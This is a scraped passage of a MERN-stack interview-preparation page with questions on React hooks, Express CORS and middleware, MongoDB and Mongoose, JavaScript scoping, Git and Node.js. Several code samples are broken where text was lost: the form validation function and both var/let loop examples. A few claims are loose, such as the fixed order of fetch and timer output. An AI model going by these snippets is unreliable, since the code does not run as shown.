}, [dependencies]); // Dependency array

Three Use Cases (Very Important!):

1. Runs EVERY render (no dependency array)

useEffect(() => {
  console.log("Runs after every render");
}); // No array = runs every time

2. Runs ONCE on mount (empty dependency array)

useEffect(() => {
  console.log("Runs only once - like componentDidMount");
  // Perfect for: Fetch initial data, set up subscriptions
}, []); // Empty array = runs once

3. Runs when dependencies CHANGE

useEffect(() => {
  console.log("Runs when userId changes");
  fetchUserData(userId);
}, [userId]); // Runs when userId changes

Real Example – Fetch API Data:

import { useState, useEffect } from "react";

function UserList() {
  const [users, setUsers] = useState([]);
  const [loading, setLoading] = useState(true);

  useEffect(() => {
    const fetchUsers = async () => {
      try {
        const response = await fetch("https://api.example.com/users");
        const data = await response.json();
        setUsers(data);
      } catch (error) {
        console.error("Error:", error);
      } finally {
        setLoading(false);
      }
    };

    fetchUsers();
  }, []); // Fetch only once when component mounts

  if (loading) return <p>Loading...</p>;

  return (
    <ul>
      {users.map(user => <li key={user._id}>{user.name}</li>)}
    </ul>
  );
}

Cleanup Function Example (Timer):

useEffect(() => {
  const timer = setInterval(() => {
    console.log("Timer tick");
  }, 1000);

  return () => {
    clearInterval(timer); // Cleanup when component unmounts
    console.log("Timer cleared");
  };
}, []);

💡 Interview Answer: useEffect = componentDidMount + componentDidUpdate + componentWillUnmount combined!

59

What is useState Hook? Explain with examples.

Medium 📁 React.js Hooks
💡
Detailed Answer
Scroll to read complete explanation

What is useState?

useState is a React Hook that allows functional components to have state variables. Before Hooks, only class components could have state.

Syntax:

const [stateVariable, setterFunction] = useState(initialValue);

Basic Example:

import { useState } from "react";

function Counter() {
  const [count, setCount] = useState(0); // Initial value = 0

  return (
    <div>
      <p>Count: {count}</p>
      <button onClick={() => setCount(count + 1)}>+</button>
      <button onClick={() => setCount(count - 1)}>-</button>
      <button onClick={() => setCount(0)}>Reset</button>
    </div>
  );
}

useState with Object:

function UserForm() {
  const [user, setUser] = useState({
    name: "",
    email: "",
    age: ""
  });

  const handleChange = (e) => {
    setUser({ ...user, [e.target.name]: e.target.value }); // Spread operator!
  };

  return (
    <form>
      <input name="name" value={user.name} onChange={handleChange} />
      <input name="email" value={user.email} onChange={handleChange} />
      <input name="age" value={user.age} onChange={handleChange} />
      <p>{JSON.stringify(user)}</p>
    </form>
  );
}

useState with Array:

function TodoList() {
  const [todos, setTodos] = useState([]);
  const [input, setInput] = useState("");

  const addTodo = () => {
    setTodos([...todos, input]); // Add to array
    setInput("");
  };

  const removeTodo = (index) => {
    setTodos(todos.filter((_, i) => i !== index)); // Remove from array
  };

  return (
    <div>
      <input value={input} onChange={(e) => setInput(e.target.value)} />
      <button onClick={addTodo}>Add</button>
      {todos.map((todo, i) => (
        <p key={i}>{todo} <button onClick={() => removeTodo(i)}>X</button></p>
      ))}
    </div>
  );
}

Important Rules of useState:

  • Never mutate state directly: ❌ count++ → ✅ setCount(count + 1)
  • State updates are asynchronous
  • When updating based on previous state, use functional form: setCount(prev => prev + 1)
60

What is CORS and how do you handle it in Express.js?

Medium 📁 Express.js
💡
Detailed Answer
Scroll to read complete explanation

What is CORS?

CORS (Cross-Origin Resource Sharing) is a browser security feature that blocks HTTP requests from a different origin (domain, protocol, or port).

The Problem:

// React app runs on: http://localhost:3000
// Express API runs on: http://localhost:5000

// When React sends request to Express:
// Browser blocks it! → "CORS policy: No Access-Control-Allow-Origin header"

Solution – Enable CORS in Express:

// Install cors package
// npm install cors

const cors = require("cors");
const express = require("express");
const app = express();

// Option 1: Allow ALL origins (for development)
app.use(cors());

// Option 2: Allow specific origin (for production)
app.use(cors({
  origin: "https://yourapp.com",        // Frontend URL
  methods: ["GET", "POST", "PUT", "DELETE"],
  allowedHeaders: ["Content-Type", "Authorization"],
  credentials: true                      // Allow cookies
}));

// Option 3: Allow multiple origins
const allowedOrigins = ["http://localhost:3000", "https://yourapp.com"];
app.use(cors({
  origin: (origin, callback) => {
    if (allowedOrigins.includes(origin) || !origin) {
      callback(null, true);
    } else {
      callback(new Error("Not allowed by CORS"));
    }
  }
}));

What CORS Headers Do:

  • Access-Control-Allow-Origin – Which origins can access
  • Access-Control-Allow-Methods – Which HTTP methods allowed
  • Access-Control-Allow-Headers – Which headers allowed
  • Access-Control-Allow-Credentials – Whether cookies allowed

💡 MNC Tip: In production, NEVER use cors() with no options! Always specify exact origins for security. Wipro and Accenture frequently ask this!

Advertisement
61

How do you create a RESTful API with Express.js? Explain with CRUD example.

Medium 📁 Express.js
💡
Detailed Answer
Scroll to read complete explanation

REST API with Express.js – Full CRUD Example

REST (Representational State Transfer) is an architectural style. RESTful APIs use HTTP methods to perform CRUD operations.

HTTP Methods Mapping:

  • GET – Read data
  • POST – Create data
  • PUT/PATCH – Update data
  • DELETE – Delete data

Complete User API Example:

const express = require("express");
const router = express.Router();
const User = require("../models/User");

// GET all users
router.get("/users", async (req, res) => {
  try {
    const users = await User.find();
    res.status(200).json(users);
  } catch (err) {
    res.status(500).json({ message: err.message });
  }
});

// GET single user by ID
router.get("/users/:id", async (req, res) => {
  try {
    const user = await User.findById(req.params.id);
    if (!user) return res.status(404).json({ message: "User not found" });
    res.status(200).json(user);
  } catch (err) {
    res.status(500).json({ message: err.message });
  }
});

// POST create user
router.post("/users", async (req, res) => {
  try {
    const { name, email, password } = req.body;
    const newUser = new User({ name, email, password });
    await newUser.save();
    res.status(201).json({ message: "User created", user: newUser });
  } catch (err) {
    res.status(400).json({ message: err.message });
  }
});

// PUT update user
router.put("/users/:id", async (req, res) => {
  try {
    const updated = await User.findByIdAndUpdate(
      req.params.id,
      req.body,
      { new: true, runValidators: true }
    );
    res.status(200).json(updated);
  } catch (err) {
    res.status(400).json({ message: err.message });
  }
});

// DELETE user
router.delete("/users/:id", async (req, res) => {
  try {
    await User.findByIdAndDelete(req.params.id);
    res.status(200).json({ message: "User deleted successfully" });
  } catch (err) {
    res.status(500).json({ message: err.message });
  }
});

module.exports = router;

HTTP Status Codes to Remember:

  • 200 – OK
  • 201 – Created
  • 400 – Bad Request
  • 401 – Unauthorized
  • 403 – Forbidden
  • 404 – Not Found
  • 500 – Internal Server Error
62

What is Indexing in MongoDB and why is it important?

Medium 📁 MongoDB Basics
💡
Detailed Answer
Scroll to read complete explanation

What is Indexing in MongoDB?

An Index is a special data structure that stores a small portion of the collection data to make queries faster. Without indexing, MongoDB performs a Collection Scan (checks every document). With indexing, it does an Index Scan (very fast!).

Types of Indexes:

  • Single Field Index – Index on one field
  • Compound Index – Index on multiple fields
  • Unique Index – Ensures field values are unique
  • Text Index – For full-text search
  • Geospatial Index – For location-based queries
  • TTL Index – Auto-deletes documents after a time period

Examples:

// Create a single field index on email
db.users.createIndex({ email: 1 }); // 1 = ascending, -1 = descending

// Create a unique index
db.users.createIndex({ email: 1 }, { unique: true });

// Compound index
db.products.createIndex({ category: 1, price: -1 });

// Text index for search
db.articles.createIndex({ title: "text", content: "text" });

// TTL Index - auto delete after 1 hour (3600 seconds)
db.sessions.createIndex({ createdAt: 1 }, { expireAfterSeconds: 3600 });

// View all indexes
db.users.getIndexes();

Performance Check – explain():

db.users.find({ email: "test@mail.com" }).explain("executionStats");

✅ Look for "IXSCAN" (index scan) instead of "COLLSCAN" (collection scan)

💡 MNC Tip: TCS and Capgemini ask – "What happens if you create too many indexes?" → Answer: Indexes speed up reads but slow down writes (insert/update/delete) because indexes also need to be updated!

63

What are the CRUD operations in MongoDB? Give examples.

Medium 📁 MongoDB Basics
💡
Detailed Answer
Scroll to read complete explanation

CRUD Operations in MongoDB

CRUD stands for Create, Read, Update, Delete – the 4 basic database operations.

1. CREATE – insertOne() / insertMany()

// Insert one document
db.users.insertOne({ name: "Karthik", age: 25, city: "Chennai" });

// Insert multiple documents
db.users.insertMany([
  { name: "Priya", age: 22 },
  { name: "Rahul", age: 28 }
]);

2. READ – find() / findOne()

// Get all users
db.users.find();

// Get specific user
db.users.findOne({ name: "Karthik" });

// Get users with age > 20 (with projection)
db.users.find({ age: { $gt: 20 } }, { name: 1, age: 1 });

3. UPDATE – updateOne() / updateMany()

// Update one document
db.users.updateOne(
  { name: "Karthik" },          // filter
  { $set: { city: "Bangalore" } } // update
);

// Update all users with age < 18
db.users.updateMany({ age: { $lt: 18 } }, { $set: { status: "minor" } });

4. DELETE – deleteOne() / deleteMany()

// Delete one user
db.users.deleteOne({ name: "Karthik" });

// Delete all inactive users
db.users.deleteMany({ status: "inactive" });

💡 Remember: Always use $set in update operations, otherwise the entire document will be replaced!

64

What is Mongoose and why is it used with MongoDB?

Medium 📁 MongoDB Basics
💡
Detailed Answer
Scroll to read complete explanation

What is Mongoose?

Mongoose is an Object Data Modeling (ODM) library for MongoDB and Node.js. It provides a structured way to interact with MongoDB by defining Schemas and Models.

Why Use Mongoose?

  • Schema Definition – Define the structure of your data
  • Data Validation – Automatic validation before saving
  • Middleware (Hooks) – Run code before/after operations (pre/post save)
  • Easy Queries – Simple methods like find(), save(), updateOne()
  • Relationships – ref and populate for document relationships

Example – Creating a Mongoose Schema:

const mongoose = require("mongoose");

const userSchema = new mongoose.Schema({
  name: { type: String, required: true },
  email: { type: String, required: true, unique: true },
  age: { type: Number, min: 18 },
  createdAt: { type: Date, default: Date.now }
});

const User = mongoose.model("User", userSchema);

// Create a new user
const newUser = new User({ name: "Priya", email: "priya@mail.com", age: 22 });
await newUser.save();
console.log("User saved!");

MongoDB without Mongoose vs with Mongoose:

  • Without Mongoose: No validation, raw queries, error-prone
  • With Mongoose: Structured, validated, clean code ✅

💡 MNC Interview Tip: Amazon and Wipro often ask "What validation does Mongoose provide?" → Answer: required, unique, min, max, enum, match (regex)

65

What are Controlled and Uncontrolled Components in React?

Easy 📁 React.js Basics
💡
Detailed Answer
Scroll to read complete explanation

Controlled vs Uncontrolled Components

Controlled Components (Recommended):

In a controlled component, React controls the form data. The input value is stored in state and updated through event handlers. React is the single source of truth.

import { useState } from "react";

function ControlledForm() {
  const [formData, setFormData] = useState({
    name: "",
    email: "",
    password: "",
    role: "user"
  });
  const [errors, setErrors] = useState({});

  const handleChange = (e) => {
    const { name, value, type, checked } = e.target;
    setFormData(prev => ({
      ...prev,
      [name]: type === "checkbox" ? checked : value
    }));
  };

  const validate = () => {
    const newErrors = {};
    if (!formData.name.trim()) newErrors.name = "Name is required";
    if (!formData.email.includes("@")) newErrors.email = "Valid email required";
    if (formData.password.length  {
    e.preventDefault();
    const validationErrors = validate();
    if (Object.keys(validationErrors).length > 0) {
      setErrors(validationErrors);
      return;
    }
    console.log("Submitting:", formData);
    // API call here...
  };

  return (
    <form onSubmit={handleSubmit}>
      <div>
        <input
          type="text"
          name="name"
          value={formData.name}      // Controlled by React state
          onChange={handleChange}
          placeholder="Your Name"
        />
        {errors.name && <span style={{color:"red"}}>{errors.name}</span>}
      </div>
      
      <input type="email" name="email" value={formData.email} onChange={handleChange} />
      {errors.email && <span style={{color:"red"}}>{errors.email}</span>}
      
      <select name="role" value={formData.role} onChange={handleChange}>
        <option value="user">User</option>
        <option value="admin">Admin</option>
      </select>
      
      <button type="submit">Register</button>
    </form>
  );
}

Uncontrolled Components (Using useRef):

In uncontrolled components, the DOM handles the form data itself. You access values using refs only when needed (on submit).

import { useRef } from "react";

function UncontrolledForm() {
  const nameRef = useRef(null);
  const emailRef = useRef(null);

  const handleSubmit = (e) => {
    e.preventDefault();
    console.log({
      name: nameRef.current.value,   // Access value only on submit
      email: emailRef.current.value
    });
  };

  return (
    <form onSubmit={handleSubmit}>
      <input type="text" ref={nameRef} defaultValue="Default Name" />
      <input type="email" ref={emailRef} />
      <button type="submit">Submit</button>
    </form>
  );
}

Comparison:

Feature Controlled Uncontrolled
Data Storage React state DOM itself
Validation ✅ Real-time Only on submit
React DevTools ✅ Visible in state Not visible
Code More code needed Less code
Recommended for Most forms File inputs, 3rd party libs

💡 React Best Practice: Use controlled components in most cases. Use uncontrolled only for file inputs (<input type="file">) since their value cannot be controlled by React.

Advertisement
66

What is the difference between var, let and const in JavaScript?

Easy 📁 JavaScript Fundamentals
💡
Detailed Answer
Scroll to read complete explanation

var vs let vs const – Complete Comparison

Feature var let const
Scope Function scope Block scope Block scope
Re-declare ✅ Yes ❌ No ❌ No
Re-assign ✅ Yes ✅ Yes ❌ No
Hoisting Yes (undefined) Yes (TDZ) Yes (TDZ)
When to use ❌ Avoid Variables that change Constants (most code)

Scope Differences:

// var - Function scoped (leaks out of blocks!)
function example() {
  if (true) {
    var x = 10;  // Accessible outside if block!
  }
  console.log(x); // 10 - var is not block scoped!
}

// let/const - Block scoped
function example2() {
  if (true) {
    let y = 20;
    const z = 30;
  }
  console.log(y); // ❌ ReferenceError: y is not defined
  console.log(z); // ❌ ReferenceError: z is not defined
}

// Problematic var in loops
for (var i = 0; i  console.log(i), 1000);
}
// Prints: 3, 3, 3 (var is shared!)

// Fixed with let
for (let i = 0; i  console.log(i), 1000);
}
// Prints: 0, 1, 2 ✅ (let creates new binding per iteration)

Hoisting:

// var - hoisted and initialized to undefined
console.log(a); // undefined (not error!)
var a = 5;

// let/const - hoisted but NOT initialized (Temporal Dead Zone - TDZ)
console.log(b); // ❌ ReferenceError: Cannot access before initialization
let b = 10;

const with Objects and Arrays:

// const prevents REASSIGNMENT, not MUTATION!
const user = { name: "Priya", age: 25 };

user.age = 26; // ✅ Allowed - modifying property
user = { name: "Ravi" }; // ❌ Error - reassigning const

const numbers = [1, 2, 3];
numbers.push(4); // ✅ Allowed - modifying array
numbers = []; // ❌ Error - reassigning const

// To truly freeze an object:
const frozen = Object.freeze({ name: "Priya" });
frozen.name = "Ravi"; // Silently fails (use strict throws error)

Best Practice in 2025:

  • Use const by default for everything
  • Use let when you need to reassign (loops, counters)
  • Never use var in modern JavaScript
67

What is the MERN Stack and what can you build with it? (Introduction Question)

Easy 📁 Interview Preparation
💡
Detailed Answer
Scroll to read complete explanation

MERN Stack – Complete Introduction

MERN Stack is a full-stack JavaScript framework for building modern web applications. MERN is an acronym for its 4 core technologies:

Letter Technology Role Port
M MongoDB Database – stores application data as JSON documents 27017
E Express.js Backend Framework – handles API routes, business logic 5000
R React.js Frontend Library – builds dynamic user interfaces 3000
N Node.js Runtime Environment – runs JavaScript on the server

How They Work Together:

User interacts with React UI
         ↓
React sends HTTP Request to Express API
         ↓
Express processes request (authentication, validation)
         ↓
Node.js runs the Express code
         ↓
Mongoose queries MongoDB
         ↓
Data returned through the chain back to User

What You Can Build with MERN Stack:

  • 🛒 E-commerce Platforms (like Amazon, Flipkart)
  • 💬 Real-time Chat Applications (like WhatsApp Web)
  • 📱 Social Media Apps (like Instagram, Twitter)
  • 📊 Admin Dashboards and Analytics Platforms
  • 🎓 E-learning Platforms (like Udemy, Coursera)
  • 📰 Blog and CMS (like Medium)
  • 🏥 Healthcare Portals
  • 🏦 FinTech Applications

Advantages of MERN Stack:

  • One Language – JavaScript everywhere (frontend + backend + database)
  • JSON Native – Data flows seamlessly without conversion
  • Large Community – Millions of developers, npm packages
  • High Demand – Most sought-after full-stack skill in 2025
  • Fast Development – Rapid prototyping and iteration
  • Scalable – Used by Netflix, LinkedIn, Uber

💡 Companies Using MERN/Similar Stack: Facebook (React), Netflix (Node.js), Uber (Node.js + MongoDB), LinkedIn (Node.js), Airbnb (React), Twitter (React)

68

What is Git? Explain the basic Git workflow.

Easy 📁 Git & DevOps
💡
Detailed Answer
Scroll to read complete explanation

What is Git?

Git is a distributed version control system that tracks changes in source code. It allows multiple developers to collaborate, maintain history of changes, and revert to previous versions.

Basic Git Workflow:

# 1. Initialize a repository
git init

# 2. Configure user
git config --global user.name "Your Name"
git config --global user.email "your@email.com"

# 3. Clone existing repo
git clone https://github.com/user/repo.git

# 4. Check status
git status

# 5. Stage files
git add index.js          # Add specific file
git add .                  # Add all files

# 6. Commit changes
git commit -m "Add user authentication feature"

# 7. Connect to remote
git remote add origin https://github.com/user/repo.git

# 8. Push to remote
git push origin main

# 9. Pull latest changes
git pull origin main

Branching Workflow (Team Development):

# Create and switch to new branch
git checkout -b feature/user-login
# (or) git switch -c feature/user-login

# Make changes and commit
git add .
git commit -m "Implement JWT login"

# Push feature branch
git push origin feature/user-login

# After code review → Merge to main (via PR or locally)
git checkout main
git merge feature/user-login

# Delete merged branch
git branch -d feature/user-login

Essential Git Commands:

git log --oneline        # See commit history
git diff                 # See unstaged changes
git stash                # Temporarily save changes
git stash pop            # Restore stashed changes
git reset --hard HEAD~1  # Undo last commit (CAREFUL!)
git revert HEAD          # Create new commit that undoes last commit (safer)
git blame file.js        # See who changed each line

Git Branching Strategies (MNC Practice):

  • main/master – Production code
  • develop – Integration branch
  • feature/xxx – New features
  • hotfix/xxx – Emergency production fixes
  • release/xxx – Release preparation

💡 Interview Tip: Know the difference between git merge (keeps history) and git rebase (creates linear history). MNCs like TCS and Wipro ask this!

69

What is Node.js and how does it work?

Easy 📁 Node.js Basics
💡
Detailed Answer
Scroll to read complete explanation

What is Node.js?

Node.js is an open-source, cross-platform JavaScript runtime environment built on Chrome's V8 JavaScript engine. It allows JavaScript to run outside the browser (on the server side). It is the "N" in MERN Stack.

Key Characteristics:

  • Asynchronous – Non-blocking I/O operations
  • Event-Driven – Uses event loop to handle concurrent requests
  • Single-Threaded – One main thread (but handles many requests via event loop)
  • Fast – V8 engine compiles JS directly to machine code
  • npm – Largest package ecosystem in the world

How Node.js Event Loop Works:

// Traditional Server (PHP, Java): One thread per request
// 1000 concurrent requests = 1000 threads = 💥 Out of memory!

// Node.js: Single thread with Event Loop
// 1000 concurrent requests = 1 thread handles all = ✅ Efficient!

// How?
console.log("Start");

setTimeout(() => console.log("Timer done"), 2000);

fetch("https://api.example.com/data")
  .then(data => console.log("API data received"));

console.log("End");

// Output order:
// "Start"
// "End"
// "API data received" (when API responds)
// "Timer done" (after 2 seconds)
// Node doesn't WAIT for timer/API, it moves on!

Node.js Architecture:

Client Request → Event Loop → 
  If Non-blocking (I/O): → Background Thread Pool → Callback
  If Blocking: → Main Thread (avoid this!)

Use Cases:

  • ✅ REST APIs, Real-time apps (chat, gaming)
  • ✅ Streaming apps (Netflix, YouTube)
  • ✅ Microservices
  • ❌ Not ideal for CPU-intensive tasks (video encoding, AI processing)
70

What is the difference between State and Props in React?

Easy 📁 React.js Basics
💡
Detailed Answer
Scroll to read complete explanation

State vs Props – Key Difference

Feature State Props
Definition Internal data of a component Data passed from parent to child
Mutable? ✅ Yes (using setState or useState) ❌ No (read-only)
Belongs to The component itself Parent component
Triggers re-render? ✅ Yes, when changed ✅ Yes, when parent re-renders
Initial value Set inside component Passed from outside

State Example:

import { useState } from "react";

function TemperatureConverter() {
  const [celsius, setCelsius] = useState(0); // State - belongs to this component

  const fahrenheit = (celsius * 9) / 5 + 32;

  return (
    <div>
      <input
        type="number"
        value={celsius}
        onChange={(e) => setCelsius(Number(e.target.value))}
      />
      <p>{celsius}°C = {fahrenheit}°F</p>
    </div>
  );
}

Props Example:

// Parent Component
function App() {
  return (
    <div>
      <UserCard name="Priya" age={22} city="Chennai" />
      <UserCard name="Ravi" age={25} city="Bangalore" />
    </div>
  );
}

// Child Component - receives props
function UserCard({ name, age, city }) {
  return (
    <div className="card">
      <h2>{name}</h2>
      <p>Age: {age}</p>
      <p>City: {city}</p>
    </div>
  );
}

Simple Analogy:

  • Props = Like function parameters (data passed IN)
  • State = Like local variables inside a function (data managed WITHIN)

💡 Golden Rule: "Props come from outside, State lives inside!" – This is asked in almost every React interview!

Advertisement
71

What is JSX in React? Why do we use it?

Easy 📁 React.js Basics
💡
Detailed Answer
Scroll to read complete explanation

What is JSX?

JSX (JavaScript XML) is a syntax extension for JavaScript that allows you to write HTML-like code inside JavaScript. JSX is not valid JavaScript by itself – it is compiled by Babel into regular JavaScript.

JSX vs Regular JavaScript:

// ❌ Without JSX (pure JavaScript - harder to read)
const element = React.createElement(
  "div",
  { className: "container" },
  React.createElement("h1", null, "Hello World"),
  React.createElement("p", null, "Welcome to React")
);

// ✅ With JSX (much cleaner!)
const element = (
  <div className="container">
    <h1>Hello World</h1>
    <p>Welcome to React</p>
  </div>
);

JSX Rules to Remember:

  • Must return a single parent element (use <div> or <> fragments)
  • Use className instead of class
  • Use htmlFor instead of for
  • Self-closing tags must be closed: <img />, <input />
  • JavaScript expressions go inside { curly braces }
  • Attributes use camelCase: onClick, onChange, onSubmit

JSX with JavaScript Expressions:

function Welcome({ name, age }) {
  const isAdult = age >= 18;
  
  return (
    <>  {/* Fragment - no extra div added to DOM */}
      <h1>Hello, {name}!</h1>
      <p>Age: {age}</p>
      {isAdult ? <span>Adult</span> : <span>Minor</span>}
      
      {/* Rendering a list */}
      <ul>
        {["React", "Node", "MongoDB"].map((skill, index) => (
          <li key={index}>{skill}</li>
        ))}
      </ul>
    </>
  );
}

💡 Interview Tip: When asked "What is JSX?", always mention that it is compiled by Babel and is syntactic sugar over React.createElement()

72

What is React.js and what are its key features?

Easy 📁 React.js Basics
💡
Detailed Answer
Scroll to read complete explanation

What is React.js?

React.js is an open-source JavaScript library developed by Facebook (Meta) for building user interfaces (UI). It is the "R" in MERN Stack. React allows developers to build reusable UI components that manage their own state.

Key Features of React:

  • Component-Based Architecture – UI is built using small, reusable components
  • Virtual DOM – React uses a virtual copy of the DOM for fast updates
  • JSX – JavaScript XML syntax to write HTML inside JavaScript
  • One-Way Data Binding – Data flows from parent to child (props)
  • Hooks – Functions like useState, useEffect to add state to functional components
  • React Router – Client-side routing without page refresh
  • Large Ecosystem – Rich library support (Redux, Material UI, etc.)

Simple React Component Example:

import React, { useState } from "react";

function Counter() {
  const [count, setCount] = useState(0);

  return (
    <div>
      <h1>Count: {count}</h1>
      <button onClick={() => setCount(count + 1)}>Increment</button>
      <button onClick={() => setCount(count - 1)}>Decrement</button>
    </div>
  );
}

export default Counter;

Why React is Popular in 2025?

  • Used by Facebook, Instagram, Netflix, Airbnb, Uber
  • Most demanded frontend skill in job market
  • React Native for mobile apps (same knowledge!)
73

What is Middleware in Express.js? Give examples.

Easy 📁 Express.js
💡
Detailed Answer
Scroll to read complete explanation

What is Middleware?

Middleware is a function that has access to the request (req), response (res), and next objects. It runs between receiving a request and sending a response. Think of it as a checkpoint – every request must pass through middleware.

Middleware Function Signature:

function middlewareName(req, res, next) {
  // Do something
  next(); // Pass control to next middleware
}

Types of Middleware:

  • Application-level – app.use()
  • Router-level – router.use()
  • Error-handling – 4 parameters (err, req, res, next)
  • Built-in – express.json(), express.static()
  • Third-party – cors, morgan, helmet

Examples:

// 1. Logger Middleware
app.use((req, res, next) => {
  console.log(`${req.method} ${req.url} - ${new Date().toISOString()}`);
  next(); // Must call next() to continue!
});

// 2. Authentication Middleware
const authMiddleware = (req, res, next) => {
  const token = req.headers.authorization;
  if (!token) {
    return res.status(401).json({ message: "No token provided" });
  }
  // verify token...
  next();
};

// Apply to specific route
app.get("/dashboard", authMiddleware, (req, res) => {
  res.json({ message: "Welcome to dashboard" });
});

// 3. Error Handling Middleware (must have 4 params)
app.use((err, req, res, next) => {
  console.error(err.stack);
  res.status(500).json({ message: "Something went wrong!" });
});

// 4. Built-in middleware
app.use(express.json()); // Parse JSON body
app.use(express.static("public")); // Serve static files

// 5. Third-party middleware
const cors = require("cors");
app.use(cors()); // Allow cross-origin requests

💡 Key Rule: Always call next() unless you're sending a response. If you forget next(), the request will hang!

74

What is Express.js and why is it used in MERN Stack?

Easy 📁 Express.js
💡
Detailed Answer
Scroll to read complete explanation

What is Express.js?

Express.js is a fast, minimal, and flexible Node.js web application framework. It is the "E" in MERN Stack. Express makes it easy to build RESTful APIs and web servers.

Why Express in MERN Stack?

  • Routing – Define URL routes easily (GET, POST, PUT, DELETE)
  • Middleware – Process requests before sending response
  • JSON Support – Built-in support for JSON request/response
  • Integration – Works seamlessly with MongoDB (via Mongoose) and React
  • Lightweight – Minimal overhead, very fast

Basic Express Server Setup:

const express = require("express");
const app = express();
const PORT = 5000;

// Middleware to parse JSON
app.use(express.json());

// Route
app.get("/", (req, res) => {
  res.json({ message: "Hello from Express Server!" });
});

// Start server
app.listen(PORT, () => {
  console.log(`Server running on http://localhost:${PORT}`);
});

Express in MERN Architecture:

  • React (Frontend) → sends HTTP requests → Express (Backend API) → queries → MongoDB (Database)

💡 Key Feature: Express handles the business logic and acts as the bridge between React frontend and MongoDB database.

75

What are Collections and Documents in MongoDB?

Easy 📁 MongoDB Basics
💡
Detailed Answer
Scroll to read complete explanation

Collections and Documents

In MongoDB, data is organized as:

  • Database → Contains Collections (like a folder)
  • Collection → Group of Documents (like a table in SQL)
  • Document → A single record in JSON/BSON format (like a row in SQL)

Analogy (SQL vs MongoDB):

  • SQL Database = MongoDB Database
  • SQL Table = MongoDB Collection
  • SQL Row = MongoDB Document
  • SQL Column = MongoDB Field

Example Document:

{
  "_id": ObjectId("507f1f77bcf86cd799439011"),
  "name": "Ravi Kumar",
  "age": 25,
  "skills": ["React", "Node.js", "MongoDB"],
  "address": {
    "city": "Chennai",
    "state": "Tamil Nadu"
  }
}

Key Points:

  • Every document has a unique _id field (auto-generated ObjectId)
  • Documents in the same collection can have different fields
  • Documents can contain nested documents and arrays
Advertisement
76

What is the difference between SQL and NoSQL databases?

Easy 📁 MongoDB Basics
💡
Detailed Answer
Scroll to read complete explanation

SQL vs NoSQL – Complete Comparison

Feature SQL (Relational) NoSQL (MongoDB)
Structure Tables & Rows Collections & Documents
Schema Fixed / Rigid Flexible / Dynamic
Scaling Vertical (bigger server) Horizontal (more servers)
Query Language SQL MongoDB Query Language
Relationships Foreign Keys & JOINs Embedded docs / $lookup
Best For Banking, Finance, ERP Social Media, E-commerce, Real-time Apps
Examples MySQL, PostgreSQL, Oracle MongoDB, CouchDB, Firebase

When to Use SQL?

  • When data is highly structured and relationships are complex
  • Example: Bank transactions, Hospital records

When to Use NoSQL (MongoDB)?

  • When data is unstructured or semi-structured
  • When you need high speed and scalability
  • Example: Instagram posts, Amazon product catalog

💡 Interview Tip: MNCs like TCS and Infosys always ask this question. Remember – "MongoDB is not better than SQL, it is better FOR certain use cases."

77

What is MongoDB and why is it used in MERN Stack?

Easy 📁 MongoDB Basics
💡
Detailed Answer
Scroll to read complete explanation

What is MongoDB?

MongoDB is a NoSQL, document-oriented database that stores data in flexible, JSON-like format called BSON (Binary JSON). It is the "M" in MERN Stack.

Why MongoDB in MERN Stack?

  • JSON everywhere – Frontend (React), Backend (Node.js), and Database all use JSON format, so data flows seamlessly.
  • Schema-less – No fixed table structure; documents in the same collection can have different fields.
  • Scalable – Supports horizontal scaling using sharding.
  • Fast – Stores data in memory-mapped files for high read/write speed.

Real-World Example:

In a Social Media App:

{
  "_id": "64abc123",
  "username": "john_doe",
  "email": "john@example.com",
  "posts": ["post1", "post2"],
  "followers": 1500
}

✅ Notice – one user document stores everything. No need for multiple table JOINs like SQL.

MongoDB vs SQL:

  • SQL uses Tables & Rows → MongoDB uses Collections & Documents
  • SQL has fixed schema → MongoDB has flexible schema
  • SQL uses JOINs → MongoDB uses embedded documents or $lookup
78

What is MERN Stack and what are its components?

Easy 📁 React Basics
💡
Detailed Answer
Scroll to read complete explanation

MERN Stack is a popular full-stack JavaScript framework used to build modern web applications.

It consists of four main technologies:

  • MongoDB – A NoSQL database used to store application data in JSON-like format.
  • Express.js – A backend web framework for Node.js used to build APIs and handle server-side logic.
  • React.js – A frontend JavaScript library used to build user interfaces and single-page applications.
  • Node.js – A runtime environment that allows JavaScript to run on the server.

How MERN Stack works:

  • React handles the frontend UI
  • Express and Node manage backend logic and APIs
  • MongoDB stores and retrieves data

This stack allows developers to use JavaScript for both frontend and backend, making development faster and more efficient.

Sponsored

💼 Ready for Your Interview?

Master these concepts and walk into your next interview with confidence!

📚 78 Questions 🎯 25 Challenging ⏱️ Updated Regularly
🚀 Exclusive Community

Land Your Dream Job Faster!

  • Daily job alerts (Remote + On-site)
  • Interview questions from real companies
  • Career growth hacks & insider tips
  • Networking with professionals

Join 2,500+ professionals accelerating their careers

👉 YES! I WANT JOB UPDATES

🔒 Zero spam • 1-click leave anytime

Scroll to Top